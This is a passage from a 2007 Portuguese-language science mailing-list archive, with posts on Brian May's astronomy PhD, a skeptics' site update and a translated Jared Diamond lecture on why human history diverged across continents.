E, se não bastasse, houve divergências entre militares e pesquisadores sobre a abertura do pára-quedas da ogiva com a carga útil.

Reclamam os pesquisadores que foram feitas apenas cinco tentativas de busca, quando na missão anterior, em 2002, a operação de resgate durou duas semanas.

A serem procedentes as reclamações e denúncias dos pesquisadores, a bagunça que é a marca do governo Lula chegou ao espaço.
(O Estado de SP, 31/7)


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Músico Astrônomo
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/08/2007 23:14

Estou torcendo por Brian May. Ele não é o maior guitarrista que já existiu
(a liderança é disputada por Hendrix e Clapton, com o primeiro em franca
vantagem), mas o som dele faz muito mais parte da minha geração. Se tudo der
certo, ele poderá envengar o título de "maior guitarrista do mundo a ser
simultaneamente PhD em astronomia"...

[ ]s

Alvaro Augusto




----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo



Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes
teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.



03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos


Stan Honda/AFP


Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)



O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de
Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre
foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos
logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.


[As partes desta mensagem que não continham texto foram removidas]






SUBJECT: http://www.20q.net/
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 12/08/2007 02:34

Interessante sitio de adivinhação por meio de perguntas e respostas:
http://www.20q.net/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: CeticismoAberto atualizado 12.08.2007
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 12/08/2007 08:39

CeticismoAberto atualizado
12.08.2007<http://www.ceticismoaberto.com/news/?p=949>
CIÊNCIA

* <http://www.ceticismoaberto.com/ciencia/experienciacerebro.htm>*J. Kevin
O'Regan
*Experiência não é algo que sentimos, mas algo que
fazemos<http://www.ceticismoaberto.com/ciencia/experienciacerebro.htm>
*
A impressão que temos de ver tudo no campo visual é um tipo de ilusão,
gerada pela disponibilidade imediata à informação visual.

* <http://www.ceticismoaberto.com/ciencia/jareddiamond_historia.htm>*Jared
Diamond
*Por que a história humana se desenvolveu de maneira diferente em diferentes
continentes nos últimos 13.000
anos?<http://www.ceticismoaberto.com/ciencia/jareddiamond_historia.htm>
*
Este problema me fascina há muito tempo, mas agora está maduro para uma nova
síntese.

* <http://www.ceticismoaberto.com/ciencia/cerebro_ramachandran.htm>*Mauricio-José
Schwarz
*O cérebro do doutor
Ramachandran<http://www.ceticismoaberto.com/ciencia/cerebro_ramachandran.htm>
*
Em um mundo em que tudo parece explorado, um brilhante investigador da Índia
nos ensina muito sobre uma área ainda desconhecida: nosso próprio cérebro.

* <http://www.ceticismoaberto.com/ciencia/existevida_universo.htm>*Renato
Sabbatini
*Existe Vida em Outros Pontos do
Universo?<http://www.ceticismoaberto.com/ciencia/existevida_universo.htm>
*
Afirmar que a vida fora da Terra (e também a vida inteligente) é impossível,
é uma clara violação de um princípio fundamental do método científico.
FORTIANISMO

* <http://www.ceticismoaberto.com/fortianismo/chupacabras.htm>*Luis Ruiz
Noguez
*O Chupacabras ou o Frankenstein da
mídia<http://www.ceticismoaberto.com/fortianismo/chupacabras.htm>
*
Se o mito dos vampiros é considerado atualmente só isso, podemos dizer que
se trata de um mito em decadência. No caso dos OVNIs não ocorre o mesmo.

* <http://www.ceticismoaberto.com/fortianismo/cultocarga.htm>*Fogonazos
*Esperando os deuses<http://www.ceticismoaberto.com/fortianismo/cultocarga.htm>
*
Perdida em uma ilha da remota Melanésia, a tribo dos Yaohnanen espera há
anos a chegada de um Deus que retornará para lhes cobrir de presentes: o
duque Felipe de Edimburgo.
PARANORMAL

* <http://www.ceticismoaberto.com/paranormal/regressao_vidapassada.htm>*Natalia
Otazúa
*Viagem de ida e volta à encarnação
errada<http://www.ceticismoaberto.com/paranormal/regressao_vidapassada.htm>
*
Uma formosa voluntária aceitou o desafio: viajar com a ajuda de um guru.
Nesta crônica ela conta as peripécias de sua atropelada viagem mística.

* <http://www.ceticismoaberto.com/paranormal/sindromefalsamemoria.htm>*Alejandro
Agostinelli
*Memória extracerebral ou síndrome da falsa
memória?<http://www.ceticismoaberto.com/paranormal/sindromefalsamemoria.htm>
*
A hipnose, ao invés de liberar memórias ancestrais reprimidas, favorece
estados de sonho onde fantasia e realidade se tornam indistinguíveis.
UFOLOGIA

* <http://www.ceticismoaberto.com/ufologia/discosvoadores_scully.htm>*John
L. Cotton e Randall J. Scalise
*Discos voadores e Frank
Scully<http://www.ceticismoaberto.com/ufologia/discosvoadores_scully.htm>
*
Em 1950 um novo livro sobre discos voadores, Behind the Flying Saucers,
chegou ao mercado. Produzido pelo escritor da *Variety*, Frank Scully, este
pequeno livro alegava ter as respostas sobre os discos voadores.

* <http://www.ceticismoaberto.com/ufologia/kottmeyer_1947.htm>*Martin
Kottmeyer
*Por que 1947? <http://www.ceticismoaberto.com/ufologia/kottmeyer_1947.htm>*
O ufólogo Kevin McClure formulou esta pergunta a um punhado de colegas no
início dos anos 1980. A questão é um desafio para explicar uma das poucas
certezas sobre o fenômeno OVNI.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Homem: últimos 13 mil anos.
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 12/08/2007 10:23

Transcrevo do Ceticismo Aberto.





Por que a história humana se desenvolveu de maneira diferente em diferentes continentes nos últimos 13.000 anos?



Jared Diamond, palestra na University of California, Los Angeles, 1997
Tradução: Pedro Lourenço Gomes

Atribuí a mim mesmo a modesta tarefa de tentar explicar o amplo padrão da história humana, em todos os continentes, durante os últimos 13.000 anos. Por que a história tomou cursos evolutivos tão diferentes para os povos de diferentes continentes? Este problema me fascina há muito tempo, mas agora está maduro para uma nova síntese por causa dos recentes avanços em muitos campos aparentemente distantes da história, que incluem a biologia molecular, a genética vegetal e animal e a biogeografia, a arqueologia, e a linguística.

Como todos sabemos, os eurasianos, especialmente os povos da Europa e da Ásia Oriental, espalharam-se por todo o globo, dominando o mundo moderno quanto a riqueza e poder. Outros povos, incluindo a maioria dos africanos, sobreviveram e se desligaram da dominação européia, mas continuam na retaguarda quanto a riqueza e poder. Outros povos ainda, incluindo os habitantes originais da Austrália, das Américas, do sul da África, não são mais senhores de sua própria terra e foram dizimados, subjugados ou exterminados pelos colonizadores europeus. Por que a história se desenvolveu desse modo, ao invés de modo reverso? Por que não foram os americanos nativos, os africanos e os aborígenes australianos aqueles que conquistaram ou exterminaram os europeus e asiáticos?

Esta grande questão pode ser um pouco adiantada. Por volta de 1500 A.D., o ano aproximado em que a expansão marítima européia estava apenas começando, os povos dos diferentes continentes já diferiam grandemente em tecnologia e organização política. Grande parte da Eurásia e do norte da África estava ocupada na época por estados e impérios da Idade do Ferro, alguns dos quais à beira da industrialização. Dois povos nativos americanos, os incas e os astecas, governavam impérios com ferramentas de ferro e estavam começando a experimentar o bronze. Partes da África subsahariana estavam divididas em pequenos estados ou tribos (chiefdoms) indígenas da Idade do Ferro. Mas todos os povos da Austrália, da Nova Guiné e das ilhas do Pacífico, e muitos povos das Américas e da África subsahariana ainda viviam como fazendeiros ou mesmo ainda como caçadores/coletores com ferramentas de pedra.

Obviamente, estas diferenças referentes ao ano de 1500 A.D. foram a causa imediata das desigualdades do mundo moderno. Impérios com ferramentas de ferro conquistaram ou exterminaram tribos com ferramentas de pedra. Mas como o mundo se desenvolveu para chegar ao que era em 1500 A.D.?

Esta questão também pode ser empurrada um pouco para trás com facilidade, com a ajuda de histórias escritas e descobertas arqueológicas. Até o final da última Idade do Gelo, mais ou menos em 11.000 A.C., todos os humanos de todos os continentes ainda viviam como caçadores/coletores da Idade da Pedra. Taxas diferentes de desenvolvimento em diferentes continentes, de 11.000 A.C. até 1500 A.D., foram aquilo que produziu as desigualdades do ano de 1500 A.D. Enquanto os aborígenes australianos e muitos povos nativos americanos permaneciam como caçadores/coletores da Idade da Pedra, a maioria dos povos eurasianos e muitos povos das Américas e da África subsahariana gradualmente desenvolveram a agricultura, a pecuária, a metalurgia e uma organização política complexa. Partes da Eurásia, e uma pequena área das Américas também desenvolveram a escrita indígena. Mas cada um destes novos desenvolvimentos apareceu antes na Eurásia do que em qualquer outro lugar.

Assim, podemos finalmente refazer nossa pergunta sobre a evolução das desigualdades do mundo moderno como se segue. Por que o desenvolvimento humano prosseguiu a taxas tão diferentes em diferentes continentes nos últimos 13.000 anos? Estas taxas diferentes constituem o mais amplo padrão histórico, o maior problema não resolvido da história, e são meu assunto agora.

Os historiadores tendem a evitar esse assunto como se fosse uma praga por causa de suas implicações aparentemente racistas. Muitas pessoas, mesmo a maior parte das pessoas, supõem que a resposta envolva diferenças biológicas em QI médio entre as populações do mundo, a despeito do fato de que não há evidências da existência de tais diferenças de QI. Até mesmo perguntar por que povos diferentes têm histórias diferentes parece malévolo para alguns de nós, porque parece estar justificando o que ocorreu na história. De fato, nós estudamos as injustiças da história pela mesma razão por que estudamos genocídios, e pela mesma razão por que psicólogos estudam as mentes de assassinos e estupradores: não para justificar a história, o genocídio, o assassinato e o estupro, mas ao invés disso para entender como estes males vêm a ocorrer e então usar esta compreensão para evitar que ocorram novamente. No caso do cheiro de racismo ainda deixá-lo pouco à vontade para explorar este assunto, apenas reflita sobre a razão básica de porque tantas pessoas aceitam explicações racistas do amplo padrão da história: nós não temos ums explicação alternativa convincente. Até que tenhamos, as pessoas continuarão a gravitar logo de início à volta de teorias racistas. Isto nos deixa com uma grande lacuna moral, que constitui a mais forte razão para se tratar deste assunto.

Vamos prosseguir continente por continente. Como nossa primeira comparação continental, vamos pensar sobre a colisão do Velho Mundo e do Novo Mundo que começou com a viagem de Colombo em 1492 A.D., porque os fatores adjacentes envolvidos no resultado são bem conhecidos. Agora vou lhe dar um resumo e uma interpretação das histórias da América do Norte, da América do Sul, da Europa e Ásia a partir de minha perspectiva como biogeógrafo e biólogo evolutivo - tudo isto em dez minutos; dois minutos por continente. Lá vamos:

Muitos de nós conhecem bem as histórias de como algumas centenas de espanhóis sob Cortés e Pizarro derrubaram os impérios inca e asteca. As populações de cada um desses impérios chegavam a dezenas de milhões. Também estamos familiarizados com os horríveis detalhes de como outros europeus conquistaram outras partes do Novo Mundo. O resultado é que os europeus vieram a colonizar e dominar a maior parte do Novo Mundo, enquanto a população de nativos americanos declinava drasticamente a partir de seu nível no ano de 1492 A.D. Por que isto ocorreu dessa maneira? Por que não ocorreu que os imperadores Montezuma ou Atahuallpa levassem os astecas ou os incas a conquistar a Europa?

As razões adjacentes são óbvias. Os europeus invasores tinham espadas de aço, canhões e cavalos, enquanto os nativos americanos tinham tinham apenas armas de pedra e de madeira, e nenhum animal que pudesse ser cavalgado. Aquelas vantagens militares permitiram repetidamente que tropas de algumas dúzias de espanhóis montados derrotassem exércitos dos nativos que chegavam aos milhares.

Entretanto, espadas de aço, canhões e cavalos não eram os únicos fatores adjacentes por trás da conquista européia do Novo Mundo. As doenças infecciosas introduzidas com os europeus, como varíola e sarampo, espalharam-se de uma tribo indígena para outra, chegando bem na frente dos próprios europeus, e mataram estimados 95% da população nativa do Novo Mundo. Estas doenças eram endêmicas na Europa, e os europeus tinham tido tempo de desenvolver resistência tanto genética quanto imune a elas, mas inicialmente os nativos não tinham tal resistência. O papel desempenhado pelas doenças infecciosas na conquista européia do Novo Mundo foi repetido em muitas outras partes do mundo, incluindo a Austrália Aborígene, o sul da África e muitas ilhas do Pacífico.

Finalmente, há ainda outro conjunto de fatores adjacentes a serem considerados. Como é que Pizarro e Cortés chegaram ao Novo Mundo, afinal, antes que os conquistadores astecas e incas pudessem alcançar a Europa? Este resultado dependeu em parte da tecnologia, sob a forma de barcos oceânicos. Os europeus tinham tais barcos, enquanto astecas e incas não tinham. Além disso, aqueles navios europeus eram sustentados pela organização política centralizada que permitiu que a Espanha e outros países europeus construíssem e equipassem estes barcos. Igualmente crucial foi o papel da escrita européia, ao permitir a rápida disseminação de informações detalhadas precisas, incluindo mapas, orientações de navegação e relatos de exploradores anteriores, para a Europa, motivando exploradores posteriores.

Até agora identificamos uma série de fatores adjacentes por trás da colonização européia do Novo Mundo: a saber, barcos, organização política e a imprensa, que trouxeram os europeus ao Novo Mundo; os germes europeus que mataram a maioria dos nativos antes que conseguissem chegar ao campo de batalha, e canhões, espadas de aço e cavalos, que deram aos europeus uma grande vantagem neste campo de batalha. Agora, vamos tentar esticar um pouco mais a cadeia de causalidade. Por que estas vantagens adjacentes estavam com o Velho Mundo, e não com o Novo Mundo? Teoricamente os nativos americanos poderiam ter sido aqueles a desenvolver espadas de aço e canhões primeiro, a desenvolver barcos oceânicos e impérios e a imprensa primeiro, a estar montados em animais domésticos mais aterrorizantes do que cavalos, ou transportar germes piores do que o da varíola.

A parte mais fácil de ser respondida desta pergunta trata das razões pelas quais a Eurásia desenvolveu os piores germes. É notável como os nativos americanos não desenvolveram doenças epidêmicas devastadoras para darem aos europeus em troca das muitas doenças epidêmicas devastadoras que receberam do Velho Mundo. Existem duas razões diretas para este grosseiro desequilíbrio. Primeiro, a maior parte das doenças epidêmicas conhecidas só podem se sustentar em grandes e densas populações humanas concentradas em aldeias e cidades, que surgiram muito antes no Velho Mundo do que no Novo Mundo. Segundo, estudos recentes sobre micróbios feitos por biólogos moleculares demonstraram que a maioria das doenças epidêmicas humanas se desenvolveram de doenças epidêmicas similares das densas populações de animais domésticos do Velho Mundo, com as quais estávamos em estreito contato. Por exemplo, o sarampo e a tuberculose se desenvolveram de doenças do nosso gado, a gripe de uma doença dos porcos, e a varíola possivelmente de uma doença dos camelos. As Américas tinham poucas espécies nativas de animais domesticados das quais os humanos pudessem adquirir tais doenças.

Agora vamos puxar de volta a cadeia de raciocínio mais um pouco. Por que havia muito mais espécies de animais domesticados na Eurásia do que nas Américas? As Américas abrigam quase mil espécies de mamíferos nativos selvagens, de modo que inicialmente você pode supor que as Américas oferecessem bastante material inicial para a domesticação.

De fato, apenas uma pequena fração de espécies de mamíferos selvagens foram domesticadas com sucesso, porque a domesticação exige que um animal selvagem preencha diversos pré-requisitos: o animal tem que ter uma dieta que os humanos possam fornecer; uma rápida taxa de crescimento; boa vontade de se reproduzir em cativeiro; uma disposição maleável, uma estrutura social que envolva comportamento submisso para com animais dominantes e humanos; e a ausência de uma tendência a entrar em pânico quando posto dentro de cercados. Há milhares de anos os seres humanos domesticaram todas as possíveis espécies grandes de mamíferos selvagens que preenchiam todos estes critérios e valiam a pena ser domesticadas, com o resultado de que não houve adições de valor de animais domésticos em épocas recentes, a despeito dos esforços da ciência moderna.

A Eurásia acabou tendo a maioria das espécies animais domesticadas em parte porque é a maior massa terrestre do mundo e a que mais oferecia espécies selvagens para um começo. Esta diferença pré-existente foi aumentada há 13.000 anos, ao final da última Idade do Gelo, quando a maior parte das grandes espécies de mamíferos das Américas do Sul e do Norte se tornaram extintas, talvez exterminadas pelos primeiros habitantes que ali chegaram. Como resultado, os nativos americanos herdaram muito menos espécies de grandes mamíferos selvagens do que os eurasianos, ficando apenas com o lhama e a alpaca para domesticação. As diferenças entre os Velho e Novo Mundos em plantas domesticadas, especialmente quanto a cereais de sementes grandes, são qualitativamente similares a estas diferenças de mamíferos domesticados, apesar da diferença não ser tão extrema.

Outra razão para uma diversidade local superior de plantas e animais domesticados na Eurásia do que nas Américas é que o eixo principal da Eurásia é de leste/oeste, ao passo que o eixo principal das Américas é de norte/sul. O eixo leste/oeste da Eurásia significou que as espécies domesticadas em uma parte da Eurásia podiam ser facilmente disseminadas por milhares de milhas na mesma latitude, encontrando a mesma duração do dia e o mesmo clima aos quais já estavam adaptadas. Como resultado, galinhas e frutas cítricas domesticadas no sudeste da Ásia espalharam-se rapidamente para o oeste, para a Europa; os cavalos domesticados na Ucrânia espalharam-se rapidamente para leste, para a China, e os carneiros, bodes, gado, trigo e centeio do Crescente Fértil rapidamente se disseminaram tanto para o leste como para o oeste.

Em contraste, o eixo norte/sul das Américas significou que espécies domesticadas em uma área não podiam se espalhar para muito longe sem encontrar duração de dia e clima aos quais não estavam adaptadas. Como resultado, o peru nunca se afastou de seu local de domesticação no México para os Andes, os lhamas e as alpacas nunca saíram dos Andes para oMéxico, de modo que as civilizações nativas das Américas Central e do Norte permaneceram completamente privadas de animais de carga, e demorou milhares de anos para que o milho que se desenvolveu no clima do México se modificasse em um milho adaptado à curta estação de crescimento e à mutante duração do dia conforme as estações da América do Norte.

As plantas e os animais domesticados da Eurásia eram importantes por diversas outras razões que não deixar o europeus desenvolverem germes mal-comportados. Plantas e animais domesticados produzem mais calorias por cada acre (NT - cada acre americano cobre uns 4.000 m2) do que os habitats selvagens, nos quais a maioria das espécies não são comestíveis para os humanos. Como resultado, as densidades populacionais de fazendeiros e criadores são tipicamente de dez a cem vezes maiores do que as dos caçadores/coletores. Apenas este fato explica porque os fazendeiros e criadores por todo o mundo foram capazes de expulsar os caçadores/coletores das terras apropriadas para a agricultura e a pecuária. Os animais domésticos revolucionaram o transporte terrestre. Também revolucionaram a agricultura, permitindo que um fazendeiro arasse e adubasse muito mais terra do que ele o poderia fazer por seu próprio esforço. Além disso, as sociedades de caçadores/coletores tendem a ser igualitárias e a não ter organização política para além do nível de um bando ou uma tribo, ao passo que os excedentes e o armazenamento de alimentos que a agricultura tornou possíveis permitiu o desenvolvimento de sociedades estratificadas e politicamente centralizadas, com elites governantes. Aqueles excedentes de alimentos também aceleraram o desenvolvimento da tecnologia, sustentando artesãos que não criavam seu próprio alimento e que ao invés podiam se devotar a desenvolver a metalurgia, a escrita, espadas e canhões.

Assim, nós começamos identificando uma série de explicações adjacentes - canhões, germes, etc. - para a conquista das Américas pelos europeus. Estes fatores adjacentes me parecem poder ser devidos em grande parte ao maior número de plantas domesticadas do Velho Mundo, ao maior número de animais domesticados e ao eixo leste/oeste. A cadeia de causalidade é muito direta na explicação das vantagens do Velho Mundo referentes a cavalos e a germes mal-comportados. Mas as plantas e os animais domesticados também levaram mais indiretamente à vantagem da Eurásia em canhões, espadas, barcos oceânicos, organização política e a escrita, todos os quais eram produto das sociedades grandes, densas, sedentárias e estratificadas possibilitadas pela agricultura.

A seguir vamos examinar se este esquema, derivado da colisão dos europeus com os nativos americanos, nos ajuda a entender o padrão mais amplo da história africana, que resumirei em cinco minutos. Vou me concentrar na história da África subsahariana, porque ela estava muito mais isolada da Eurásia pela distância e pelo clima do que a África do Norte, cuja história está estreitamente ligada à história da Eurásia. Vamos lá, novamente:

Assim como perguntamos por que Cortés invadiu o México antes que Montezuma pudesse invadir a Europa, podemos igualmente perguntar porque os europeus colonizaram a África subsahariana antes que os subsaharianos pudessem colonizar a Europa. Os fatores adjacentes foram aqueles mesmos já conhecidos, canhões, aço, barcos oceânicos, organização política e a escrita. Mas novamente podemos indagar por que canhões, barcos e tudo mais acabaram sendo desenvolvidos na Europa e não na África subsahariana. Para quem estuda a evolução humana esta questão é particularmente desconcertante, porque os humanos vinham se desenvolvendo por milhões de anos a mais na África do que na Europa, e mesmo o anatomicamente moderno Homo sapiens só pode ter alcançado a Europa a partir da África nos últimos 50.000 anos. Se o tempo fosse um fator crítico no desenvolvimento das sociedades humanas, a África teria desfrutado de uma enorme vantagem inicial sobre a Europa.

Novamente, este resultado reflete amplamente diferenças biogeográficas na disponibilidade de espécies de animais e plantas selvagens domesticáveis. Tomando os animais domésticos em primeiro lugar, é notável que o único animal domesticado dentro da África subsahariana tenha sido (você adivinhou) uma ave, a galinha d'angola (NT - "Guinea fowl", Numida meleagris). Todos os mamíferos domesticados da África - gado, ovelhas, cabras, cavalos, até mesmo os cachorros - entraram na África subsahariana através do norte, da Eurásia ou da África do Norte. A princípio isto parece espantoso, já que agora pensamos na África como o continente dos grandes mamíferos selvagens. De fato, nenhuma destas espécies dos famosos mamíferos grandes e selvagens da África comprovou ser domesticável. Todas foram desqualificadas por um problema ou outro, como: organização social insatisfatória; comportamento intratável; lenta taxa de crescimento, e etc. Pense só no que o curso da história poderia ter sido se os rinocerontes e hipopótamos africanos tivessem se prestado à domesticação! Se isto tivesse sido possível, uma cavalaria africana montada em rinocerontes ou hipopótamos teria feito picadinho da cavalaria européia montada em cavalos. Mas não pode ocorrer assim.

Ao invés, como mencionei, os rebanhos adotados na África eram espécies eurasianas que vieram do norte. O longo eixo africano, como o das Américas, é norte/sul e não leste/oeste. Aqueles mamíferos domésticos eurasianos se disseminaram para o sul muito lentamente na África, porque tinham que se adaptar a diferentes zonas climáticas e diferentes doenças de animais.

As dificuldades impostas por um eixo norte/sul para a disseminação de espécies domesticadas são ainda mais impressionantes para as plantações africanas do que para seus rebanhos. Lembre-se que os alimentos essenciais do antigo Egito eram colheitas do Crescente Fértil e do Mediterrâneo como trigo e cevada, que exigem chuvas de inverno e variações sazonais da duração dos dias para sua germinação. Estas plantações não podiam se disseminar para o sul além da Etiópia, para além da qual as chuvas vêm no verão e há pouca ou nenhuma variação sazonal da duração dos dias. Ao invés, o desenvolvimento da agricultura no Sub-Sahara teve que esperar a domesticação de espécies vegetais como o sorgo e o painço, adaptadas às chuvas de verão da África Central e a uma duração do dia relativamente constante.

Ironicamente, estas plantações da África Central foram incapazes, pela mesma razão, de se disseminarem para o sul, para a zona mediterrânea (NT - "to spread South to the Mediterranian zone of South Africa". Certamente, Diamond não está se referindo ao Mar Mediterrâneo) da África do Sul, onde mais uma vez as chuvas de inverno e as grandes variações sazonais na duração dos dias prevaleciam. O avanço para o sul dos fazendeiros africanos nativos com as plantações da África Central pararam em Natal, para além da qual as plantações centro-africanas não conseguiam se desenvolver - com enormes consequências para a história recente da África do Sul.

Em suma, um eixo norte/sul e uma escassez de espécies animais e vegetais selvagens adaptáveis à domesticação foram decisivos na história da África, assim como o foram na história nativa americana. Apesar dos nativos africanos domesticarem algumas plantas no Sahel (NT - região da África Ocidental entre o Sudão e o deserto de Sahara, onde chove apenas entre julho e outubro, numa pequena média de 5 a 20 polegadas por ano. Na estação seca sopra o vento harmattan, do Sahara, que cria uma constante névoa de fina poeira. A água permanente é rara e a vida selvagem escassa. O capim cresce apenas em pequenos tufos e a vegetação típica são arbustos com espinhos e pequenas árvores), na Etiópia e na África Ocidental tropical, eles adquiriram animais domésticos de valor apenas mais tarde, vindos do norte. As vantagens resultantes dos europeus em canhões, barcos, organização política e escrita permitiram que os europeus colonizassem a África, e não que os africanos colonizassem a Europa.

Vamos concluir agora nossa turbilhonante passagem em volta do globo devotando cinco minutos ao último continente, a Austrália. Lá vamos nós de novo, pela última vez.

Nos tempos modernos a Austrália era o único continente ainda habitado apenas por caçadores/coletores. Isto faz da Austrália um teste crítico para qualquer teoria sobre diferenças continentais na evolução das sociedades humanas. A Austrália nativa não tinha plantadores ou criadores, nem escrita, nem ferramentas de metal, e nenhuma organização política acima da tribo ou do bando. Estas, é claro, são as razões pelas quais as armas e os germes europeus destruíram a sociedade australiana aborígene. Mas por que todos os nativos australianos permaneceram caçadores/coletores?

Há três razões óbvias. Primeira, até hoje nenhuma espécie animal nativa australiana e apenas uma espécie vegetal (a noz da macadâmia) se mostrou adequada para domesticação. Ainda não existem cangurus domésticos. Segunda, a Austrália é o menor continente, e a maior parte dela só pode sustentar pequenas populações humanas, por causa de pouca chuva e baixa produtividade. Portanto, o número total de caçadores/coletores australianos era de mais ou menos 300.000. Finalmente, a Austrália é o continente mais isolado. Os únicos contatos externos dos aborígenes australianos eram tênues ligações marítimas com habitantes da Nova Guiné e da Indonésia.

Para se ter uma idéia da importância daquele pequeno tamanho populacional e isolamento com relação à velocidade do desenvolvimento na Austrália, considere a ilha australiana da Tasmânia, que teve a mais extraordinária sociedade humana do mundo moderno. A Tasmânia é apenas uma ilha de tamanho modesto, mas era a última extremidade do mais remoto continente, e isto esclarece uma grande questão da evolução de todas as sociedades humanas. A Tasmânia fica 130 milhas a sudeste da Austrália. Quando foi visitada pela primeira vez pelos europeus em 1642, a Tasmânia era ocupada por 4.000 caçadores/coletores relacionados aos australianos do continente, mas com a tecnologia mais simples do que de qualquer população recente da Terra. À diferença dos aborígenes australianos do continente, os tasmanianos não conseguiam fazer fogo; não tinham bumerangues, lanças ou escudos; não tinham armas feitas de ossos, ferramentas de pedra especializadas, e nenhuma ferramenta composta, como uma cabeça de machado montada em um cabo; eles não podiam cortar uma árvore ou escavar uma canoa; não faziam costuras para fabricar roupas, a despeito do frio inverno tasmaniano, onde neva; e, incrivelmente, apesar de viverem na maioria das vezes na costa marítima, os tasmanianos não pegavam ou comiam peixes. Como surgiram estas enormes lacunas na cultura material tasmaniana?

A resposta provém do fato de que a Tasmânia costumava ser ligada à parte sul do continente australiano na época do Pleistoceno em que havia uma nível baixo do mar, até que aquela ponte de terra foi seccionada pelo crescente nível do mar há 10.000 anos. As pessoas andavam até a Tasmânia há dezenas de milhares de anos, quando ainda era parte da Austrália. Uma vez que aquela ponte de terra foi seccionada, entretanto, não houve absolutamente nenhum contato posterior dos tasmanianos com os australianos do continente ou com qualquer outro povo da Terra até a chegada dos europeus em 1642, porque tanto os tasmanianos como os australianos do continente não tinham embarcações capazes de cruzar aquele estreito de 130 milhas entre a Tasmânia e a Austrália. A história tasmaniana é, então, um estudo do isolamento humano sem precedentes, exceto na ficção científica - a saber, isolamento completo de outros seres humanos por 10.000 anos. A Tasmânia tinha a menor e mais isolada população humana do mundo. Se o tamanho da população e seu isolamento tivessem qualquer efeito sobre a acumulação de invenções, esperaríamos ver este efeito na Tasmânia.

Se todas estas tecnologias que mencionei, ausentes da Tasmânia mas presentes no continente australiano à sua frente, foram inventadas pelos australianos nos últimos 10.000 anos, podemos pelo menos concluir com certeza que a pequena população da Tasmânia não as inventou independentemente. De modo surpreendente, os registros arqueológicos demonstram algo mais: em verdade os tasmanianos abandonaram algumas tecnologias que tinham trazido com eles da Austrália, e que persistiram no continente australiano. Por exemplo, ferramentas de ossos e a prática da pesca estavam ambas presentes na Tasmânia na época em que a ponte de terra foi seccionada, e ambas desapareceram da Tasmânia por volta de 1500 A.C. Isto representa a perda de valiosas tecnologias: os peixes poderiam ser defumados para fornecer alimento durante o inverno, e agulhas de ossos poderiam ter sido usadas para costurar roupas quentes.

Que sentido podemos tirar destas perdas culturais?

A única interpretação que faz sentido para mim é a seguinte: primeiro, a tecnologia tem que ser inventada ou adotada. As sociedades humanas variam quanto a muitos fatores independentes que afetam sua abertura para inovações. Daí, quanto maior a população humana e quanto mais sociedades existirem em uma ilha ou em um continente, maior a chance de qualquer dada invenção ser concebida e adotada em algum lugar ali.

Segundo, para todas as sociedades humanas, exceto para aquelas da totalmente isolada Tasmânia, a maior parte das inovações tecnológicas se difundem vindo do exterior, ao invés de serem inventadas localmente, de modo que se espera que a evolução da tecnologia prossiga mais rapidamente em sociedades mais estreitamente ligadas com sociedades externas.

